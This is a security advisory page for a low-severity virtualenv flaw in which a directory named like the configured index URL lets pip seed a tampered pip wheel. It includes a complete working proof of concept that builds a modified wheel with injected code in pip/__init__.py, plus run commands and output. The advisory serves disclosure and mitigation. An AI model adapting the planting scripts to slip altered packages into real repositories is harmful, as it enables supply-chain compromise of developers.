Vulnerability DatabaseGHSA-7c26-x6xg-6f39

GHSA-7c26-x6xg-6f39: 
Python vulnerability analysis and mitigation

Summary

On POSIX, pip can treat an absolute HTTP index URL as a relative path in the caller's working tree when virtualenv downloads a seed wheel. A modified pip wheel from that path can enter the new environment even though the configured index serves an unmodified wheel. oss-scanner reported ANT-2026-IWGPKH6Q on 18 November 2026 (Pacific time).

Affected area

Seed wheel acquisition during --download, missing pinned-wheel acquisition, and periodic updates.

Attacker-controlled input

The attacker controls files in a repository or archive where the user runs virtualenv, including a directory that spells the configured HTTP index URL plus /pip/ as a POSIX path. In the reproduced case, the user sets the absolute URL http://127.0.0.1:8765/simple, while the attacker plants http:/127.0.0.1:8765/simple/pip/ in the checkout. The attacker does not need to control the package index or change the user's pip configuration. The user must have PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, or PIP_INDEX set, and a download must occur. With only PIP_EXTRA_INDEX_URL or PIP_INDEX, the planted path can instead match pip's unchanged main index at https:/pypi.org/simple/pip/.

Affected code

At the reported commit, download_wheel() inherits the caller's working directory, and custom-index variables disable PyPI digest comparison. The same behavior remains at the compared main commit.

Mechanism

Details

  1. Virtualenv starts its bundled pip download without cwd=, so pip resolves relative paths from the directory where virtualenv was invoked.
  2. Bundled pip 26.3 tests os.path.exists(location) before treating an index location as a URL. On POSIX, http://127.0.0.1:8765/simple/pip/ resolves as the relative path http:/127.0.0.1:8765/simple/pip/ when that directory exists.
  3. Pip reads the local index.html and selects its wheel. Virtualenv checks the wheel name and Python compatibility, then skips the PyPI digest comparison because an index variable is set. It moves the wheel into the shared wheel house and seeds the environment. This is separate from the earlier cache-verification advisory: the index remains honest, and the substitution occurs before pip obtains an index response. Pip's own path-before-URL behavior also affects direct pip commands from the planted directory. The virtualenv-specific effect is substitution during environment creation and promotion into virtualenv's seed wheel cache. Without an index variable, the PyPI digest check rejects a modified wheel. A deliberately relative local index path already reads from the working directory and is outside this finding. This report does not establish an attack on Windows, a run with no download, or an attacker who cannot plant the matching path.

Reproduction and evidence

Proof of concept

The scanner ran its repro against 8e09166ddfbdaed3a5dbccc216d38ff1d3dbb4c2 with bundled pip 26.3. It started an honest index on 127.0.0.1:8765, set PIP_INDEX_URL=http://127.0.0.1:8765/simple, and ran virtualenv --quiet --no-periodic-update --download from an empty directory and a planted checkout, each with fresh app-data. The empty-directory run requested /simple/pip/ and the wheel from the index. The checkout run made no index requests; bin/pip --version printed CODE FROM THE CHECKOUT before its version. The script printed BUG. I repeated the reporter's repro with virtualenv 21.15.9 from PyPI in an unprivileged container with --network=none, Python 3.15, and the repository's bundled pip 26.3 wheel mounted read-only. The command exited 0 and printed:

CONTROL  from an empty directory: index saw ['/simple/pip/', '/simple/pip/pip-26.3-py3-none-any.whl'], bin/pip --version printed 'pip 26.3 from /tmp/tmpvryaiix5/env-control/lib/python3.15/site-packages/pip (python 3.15)\n'
OBSERVED from the checkout:       index saw [], bin/pip --version printed 'CODE FROM THE CHECKOUT\npip 26.3 from /tmp/tmpvryaiix5/env-attack/lib/python3.15/site-packages/pip (python 3.15)\n'
BUG

Source review found the same missing cwd= and custom-index digest exception at ebe06113, after release 21.15.9. The later commit was not run with the reproducer.

Attack sequence

sequenceDiagram
    participant A as Repository author
    participant U as User
    participant V as virtualenv
    participant P as bundled pip
    participant I as Honest index
    participant E as New environment
    A->>A: Plant URL-shaped path with index.html and modified pip wheel
    U->>+V: Run virtualenv --download from checkout
    V->>+P: pip download, inherited cwd and configured index URL
    rect rgb(255, 214, 214)
    P->>P: Existing relative path wins over URL
    P-->>-V: Return planted wheel; no request reaches index
    V->>V: Skip PyPI digest for configured index
    V->>E: Seed modified pip
    end
    V-->>-U: Environment created
    U->>+E: Run bin/pip --version
    E-->>-U: Execute line added to pip/__init__.py
    Note over I,E: Honest index was not contacted in the planted run

Reproducer files

The reporter's entrypoint expects companion files at /tmp/repro.d and the bundled wheel at /src/src/virtualenv/seed/wheels/embed/pip-26.3-py3-none-any.whl. The report specifies a disposable VM and an offline container for execution. The files below are preserved as submitted; I reran them in the offline container described above. From the report archive root, in that VM, the reporter used:

docker run --rm --network=none --privileged -u 0 -w /src -v "$PWD/low/ANT-2026-IWGPKH6Q/repro:/tmp/repro:ro" -v "$PWD/low/ANT-2026-IWGPKH6Q/repro.d:/tmp/repro.d:ro" oss-scan-8e09166ddfbd /tmp/repro

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
import tempfile
from pathlib import Path
sys.path.insert(0, "/tmp/repro.d")
from plant_checkout import PLANTED_LINE, plant_checkout
from start_company_index import start_company_index
INDEX_URL = "http://127.0.0.1:8765/simple"

# set up: the user's honest index, an empty directory, and a checkout from the attacker
work = Path(tempfile.mkdtemp())
index_requests = start_company_index(work / "company-index", 8765)
empty_dir = work / "empty"
empty_dir.mkdir()
checkout = work / "checkout"
plant_checkout(checkout, INDEX_URL)

# with an index variable set, virtualenv does not check the downloaded wheel against PyPI's digest
user_env = {**os.environ, "PIP_INDEX_URL": INDEX_URL}
def user_creates_env(cwd, name):
    # a fresh app-data per run, so the second run cannot reuse the first run's wheel
    command = ["virtualenv", "--quiet", "--no-periodic-update", "--download", "--app-data", work / f"app-data-{name}"]
    subprocess.run([*command, work / f"env-{name}"], cwd=cwd, env=user_env, check=True)
    pip_version = subprocess.run(
        [work / f"env-{name}/bin/pip", "--version"], capture_output=True, text=True, check=True
    )
    return pip_version.stdout

# control: the user runs the command from an empty directory
control_pip = user_creates_env(empty_dir, "control")
control_requests = list(index_requests)
index_requests.clear()

# attack: the same command, run from inside the checkout
attack_pip = user_creates_env(checkout, "attack")
attack_requests = list(index_requests)

# check: the checkout must not change what the index serves; the seeded pip must not run its code
print(f"CONTROL  from an empty directory: index saw {control_requests}, bin/pip --version printed {control_pip!r}")
print(f"OBSERVED from the checkout:       index saw {attack_requests}, bin/pip --version printed {attack_pip!r}")
control_is_honest = control_requests and PLANTED_LINE not in control_pip
checkout_replaced_index = not attack_requests and PLANTED_LINE in attack_pip
print("BUG" if control_is_honest and checkout_replaced_index else "OK")

repro.d/plant_checkout.py

"""The attacker: author of a repository or archive the user later runs virtualenv in. Only writes files."""
import zipfile

# the public pip wheel, byte for byte what PyPI serves
PUBLIC_PIP_WHEEL = "/src/src/virtualenv/seed/wheels/embed/pip-26.3-py3-none-any.whl"
PLANTED_LINE = "CODE FROM THE CHECKOUT"
def plant_checkout(checkout, index_url):
    # "http://127.0.0.1:8765/simple/pip/" read as a relative path is "http:" / "127.0.0.1:8765" / "simple" / "pip"
    folder = checkout / f"{index_url}/pip"
    folder.mkdir(parents=True)
    (folder / "index.html").write_text('<a href="pip-26.3-py3-none-any.whl">pip-26.3-py3-none-any.whl</a>')
    with (
        zipfile.ZipFile(PUBLIC_PIP_WHEEL) as public,
        zipfile.ZipFile(folder / "pip-26.3-py3-none-any.whl", "w", zipfile.ZIP_DEFLATED) as planted,
    ):
        for entry in public.infolist():
            content = public.read(entry)
            if entry.filename == "pip/__init__.py":
                content += f"\nprint({PLANTED_LINE!r})\n".encode()
            planted.writestr(entry, content)

repro.d/start_company_index.py

"""Set-up: the user's honest package index, serving the unmodified pip wheel."""
import shutil
import threading
from functools import partial
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
GENUINE_PIP_WHEEL = "/src/src/virtualenv/seed/wheels/embed/pip-26.3-py3-none-any.whl"
def start_company_index(root, port):
    """Serve root/simple/pip/ on 127.0.0.1:port from a background thread; return the live list of requested paths."""
    project = root / "simple" / "pip"
    project.mkdir(parents=True)
    shutil.copy(GENUINE_PIP_WHEEL, project)
    requested_paths = []
    class Handler(SimpleHTTPRequestHandler):
        def do_GET(self):
            requested_paths.append(self.path)
            super().do_GET()
        def log_message(self, format, *args):
            pass
    # the directory listing http.server generates is a valid simple-index page
    server = ThreadingHTTPServer(("127.0.0.1", port), partial(Handler, directory=str(root)))
    threading.Thread(target=server.serve_forever, daemon=True).start()
    return requested_paths

Impact

A user who creates an environment from the planted directory can receive an attacker-modified pip wheel even though their configured index serves genuine bytes. The scanner observed the added line execute when the user later invoked bin/pip --version. The attacker can replace pip code under the user's account, but the report does not demonstrate access to data outside that account or execution without the user creating an environment and invoking pip. The cache and periodic-update paths can extend the lifetime of a selected wheel; this advisory does not rely on those extensions for the demonstrated effect. Reproducibility is moderate: POSIX, a configured index variable, a matching planted path, and a download are required. Exposure is niche: the user must invoke virtualenv in an untrusted tree with those settings. AV:L reflects the local planted path; AC:H reflects the combined setup; PR:N means the attacker needs no account on the user's machine; UI:R reflects environment creation and later pip invocation; S:U confines the demonstrated execution to the user's account. C:L and I:L count the replacement of pip code and the observed marker write; wider access or modification was not tested. A:N avoids assuming a denial-of-service effect. Severity: 3.6 (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N).

Versions tested

The reporter reproduced the finding on commit 8e09166ddfbdaed3a5dbccc216d38ff1d3dbb4c2, after 21.15.6. I reproduced it on release 21.15.9 with Python 3.15 in a Linux container. Source review confirms the vulnerable path in 21.15.7 and 21.15.8 and at ebe06113; these versions were not run with the reproducer. Earlier releases are not assessed here. No fix release or PR is identified.

Latest release

  • The problem reproduces on the latest virtualenv release. Release 21.15.9 reproduced the planted-wheel substitution in the offline container run above.

Known mitigation

Run virtualenv from a trusted directory outside untrusted checkouts when a custom index is configured. Avoid seed wheel downloads from an untrusted working tree; use the bundled wheels until a fix is available.

Affected release

  • virtualenv 21.15.9 (offline container reproduction). The reporter also reproduced commit 8e09166d, between releases 21.15.6 and 21.15.7. The 21.15.7 and 21.15.8 source tags retain the affected path, but were not run.

Credits

Reported by oss-scanner as ANT-2026-IWGPKH6Q.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-rh2h-69fp-q55vHIGH7
  • Python logoPython
  • virtualenv
NoYesNov 21, 2026
GHSA-vmhf-2rcw-c624MEDIUM4.5
  • Python logoPython
  • virtualenv
NoYesNov 21, 2026
GHSA-7c26-x6xg-6f39LOW3.6
  • Python logoPython
  • virtualenv
NoNoNov 21, 2026
GHSA-vg73-7844-8q8gLOW3.3
  • Python logoPython
  • virtualenv
NoYesNov 21, 2026
GHSA-rq56-gqmj-pggpLOW3.3
  • Python logoPython
  • virtualenv
NoYesNov 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management